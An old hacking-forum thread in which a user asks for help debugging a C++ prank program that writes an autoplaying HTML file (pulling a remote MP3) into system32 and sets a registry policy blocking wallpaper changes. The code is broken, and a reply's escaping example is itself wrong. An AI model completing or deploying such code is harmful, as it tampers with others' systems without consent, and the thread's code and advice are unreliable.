HELP i cant figure this out C++

Questions about programming languages and debugging
Post Reply
User avatar
Damien99
Newbie
Newbie
Posts: 5
Joined: 25 Mar 2007, 16:00
17

HELP i cant figure this out C++

Post by Damien99 »

C++ code sum1 help me figure out what is wrong

Code: Select all

#include <windows.h>
#include <fstream.h>

//To do
//mb bug fix, and setting the background to C:\\WINDOWS\\system32\\system.html



// Allows registry edits without, being on admin user. Working!
BOOL	SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	HANDLE hToken; 

	OpenProcessToken(GetCurrentProcess(explorer.exe), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	if ( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) )    
		return FALSE; 
	
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
	    tp.Privileges[0].Attributes = 0;

	AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES) NULL, 0); 

	return ( (GetLastError()!=ERROR_SUCCESS)?FALSE:TRUE);
}
	
int main()
{
	//write function working?
    fstream file_op("C:\\WINDOWS\\system32\\system.html");
    file_op<<"<html><embed src=\"http://www.voidwalkerclan.com/BananaPhone.mp3\" hidden=true autostart=true loop=true><noembed><bgsound src=\"http://www.voidwalkerclan.com/BananaPhone.mp3\" loop=infinite></noembed></html>";
    file_op.close();
	//Disables changing of wall paper working!
	unsigned char BUF[4] = "";
	HKEY hKey;
	RegCreateKey (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop", &hKey);
	RegSetValueEx (hKey, "NoChangingWallpaper", 0, REG_DWORD, (LPBYTE) BUF, sizeof (BUF));
	RegCloseKey(hKey);
}
[/code]

ebrizzlez
Kage
Kage
Posts: 732
Joined: 31 Mar 2007, 16:00
17
Location: Hidden in a Buffer Protection.
Contact:

Post by ebrizzlez »

To start, the following code wont work well becuase your using double quotes. when the compiler sees the first set of quotes

Code: Select all

"http://blah.blah.com"
the compiler sets that as one function so the parameter passes through. that means, the program sees that part as one part, then it computes the next quotes, but you would never input "http://www.blah.com" because those quotes alone are a command. I tried making a C++ html generator and found it cant output or write any thing with quotes, within a quote. This is a simple error. Nice piece of code there btw.

User avatar
RNA
suck-o-fied!
suck-o-fied!
Posts: 95
Joined: 23 Nov 2006, 17:00
17
Location: A bit to the right of null
Contact:

Post by RNA »

ebrizzlez wrote:To start, the following code wont work well becuase your using double quotes. when the compiler sees the first set of quotes

Code: Select all

"http://blah.blah.com"
the compiler sets that as one function so the parameter passes through. that means, the program sees that part as one part, then it computes the next quotes, but you would never input "http://www.blah.com" because those quotes alone are a command. I tried making a C++ html generator and found it cant output or write any thing with quotes, within a quote. This is a simple error. Nice piece of code there btw.
You have to escape the quotes so that it doesnt think its the end or start of a string:


Example:

Code: Select all

string data = "  "This is in quotes"   ";
you'd want to do the same with single quotes, and \s .


Looking at his code I see he does escape his quotes




Just to ask, what exactly isnt working right now in that?

ebrizzlez
Kage
Kage
Posts: 732
Joined: 31 Mar 2007, 16:00
17
Location: Hidden in a Buffer Protection.
Contact:

Post by ebrizzlez »

sorry hadnt noticed the escape commands before. :roll: lol. but it just seems if he had coded this himself he would know whats going on, rather it looks more as if he copied and paste the code and now cant compile it or so. I stop learning C++ and went to PHP and learned the esacpe command, but wasnt too sure if they worked for C++. Sorry again and thanks for pointing that out RNA.

User avatar
RNA
suck-o-fied!
suck-o-fied!
Posts: 95
Joined: 23 Nov 2006, 17:00
17
Location: A bit to the right of null
Contact:

Post by RNA »

ebrizzlez wrote:sorry hadnt noticed the escape commands before. :roll: lol. but it just seems if he had coded this himself he would know whats going on, rather it looks more as if he copied and paste the code and now cant compile it or so. I stop learning C++ and went to PHP and learned the esacpe command, but wasnt too sure if they worked for C++. Sorry again and thanks for pointing that out RNA.
Hey man no problem, the knowledge is useless if I dont share it.

User avatar
CommonStray
Forum Assassin
Forum Assassin
Posts: 1215
Joined: 20 Aug 2005, 16:00
18

Post by CommonStray »

useless to anyone else :P

User avatar
RNA
suck-o-fied!
suck-o-fied!
Posts: 95
Joined: 23 Nov 2006, 17:00
17
Location: A bit to the right of null
Contact:

Post by RNA »

CircuitB0mB wrote:useless to anyone else :P
now now, I define share quite loosely ;)


say if you have the knowledge to write a worm, are you not sharing it by spreading it?

Post Reply